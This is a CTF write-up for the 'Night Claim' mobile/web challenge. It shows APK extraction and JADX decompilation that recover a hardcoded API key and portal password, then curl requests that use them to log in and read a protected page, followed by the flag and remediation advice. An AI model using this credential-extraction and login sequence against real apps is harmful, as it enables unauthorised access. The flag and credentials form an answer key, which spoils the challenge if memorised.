CTF Write-up: Night Claim

SecPlayground CTF — Mobile / Web Security Challenge Analysis

Challenge Name	Night Claim
Category & Difficulty	Mobile / Web — Easy (10 pts)
Target Endpoint	`http://35.197.131.55:80`
Solves	17 solves
Flag	`mobile{Eq3Z1kY9Oj}`

1. Executive Summary & Challenge Overview

The 'Night Claim' challenge simulates a scenario where physical logistics operational data is split across a mobile training application (SPGDrop / Hollow Post) and a web-based depot desk portal. The prompt specifies that Alice's handset shows stop A-101 on van 4, but the physical night claim resides on the depot desk.

To successfully recover the flag seal, a security tester must perform static decompilation of the Android application (APK), extract hardcoded API headers and credentials, interact with backend API routes to discover the target claim identifier, and authenticate into the web portal to retrieve the claim document.

2. Step-by-Step Solution Path

Step 1: APK Download & Asset Static Analysis

The first phase begins with fetching the client application binary hosted on the target web server:

```
wget http://35.197.131.55/downloads/spgdrop-c01.apk
```

Extracting the APK package contents allows direct inspection of non-compiled resource assets stored in the application package:

```
unzip spgdrop-c01.apk -d extracted_apk
cat extracted_apk/assets/client.properties
```

Key Discovery: Inspecting client.properties (alongside static application headers) yields the client partner API key:

```
X-Partner-Key: yard-partner-4c2
```

Step 2: API Reconnaissance & Route Mapping

With the valid partner key, we query the route discovery endpoint /api/v1/routes/mine to identify Alice's assigned route:

```
curl -s -H "X-Partner-Key: yard-partner-4c2" http://35.197.131.55/api/v1/routes/mine
# Output: {"route":"/api/v1/routes/4"}
```

Next, issuing a GET request to the returned route path /api/v1/routes/4 reveals detailed route operational data:

```
curl -s -H "X-Partner-Key: yard-partner-4c2" http://35.197.131.55/api/v1/routes/4
# Response:
{
  "claim": "N-4401",
  "desk": "/desk/claims/N-4401",
  "status": "pending"
}
```

The backend API confirms that the physical claim ID is N-4401, located at the portal endpoint /desk/claims/N-4401.

Step 3: Android Decompilation & Credential Extraction

Accessing the depot desk portal requires authenticating as an authorized user. Decompiling the APK using JADX exposes the Java source code:

```
jadx -d source_code spgdrop-c01.apk
```

Analyzing the compiled source file Scenario.java reveals hardcoded portal authentication credentials hardcoded into the application logic:

```
// Scenario.java excerpt
String username = "alice";
String password = "lantern-veil-31";
```

Step 4: Web Authentication & Flag Extraction

Using the extracted credentials, we initiate an HTTP POST request to log in, capture the session cookie, and subsequently access the protected claim page:

```
# 1. Authenticate and save session cookies
curl -c cookies.txt -d "username=alice&password=lantern-veil-31"
http://35.197.131.55/login

# 2. Access the claim page using the authenticated session
curl -b cookies.txt http://35.197.131.55/desk/claims/N-4401
```

> **FLAG SEAL RECOVERED:** `mobile{Eq3Z1kY9Oj}`

3. Vulnerability Analysis & Security Recommendations

Vulnerability 1: 1. Hardcoded API Credentials in Assets / Source Code

Storing partner keys (yard-partner-4c2) in unencrypted client assets and user credentials (alice / lantern-veil-31) in application bytecode allows trivial reverse-engineering. Remediation: Store API secrets securely in hardware-backed keystores, require dynamic user authentication (OAuth2/OIDC), and never embed administrative credentials in client applications.

Vulnerability 2: 2. Absence of Certificate Pinning & Client-Side Obfuscation

The APK source code was easily decompiled using standard decompilers (JADX) without obfuscation or integrity checks. Remediation: Implement ProGuard/R8 code obfuscation, enable Android SafetyNet/Play Integrity API checks, and enforce SSL/TLS certificate pinning.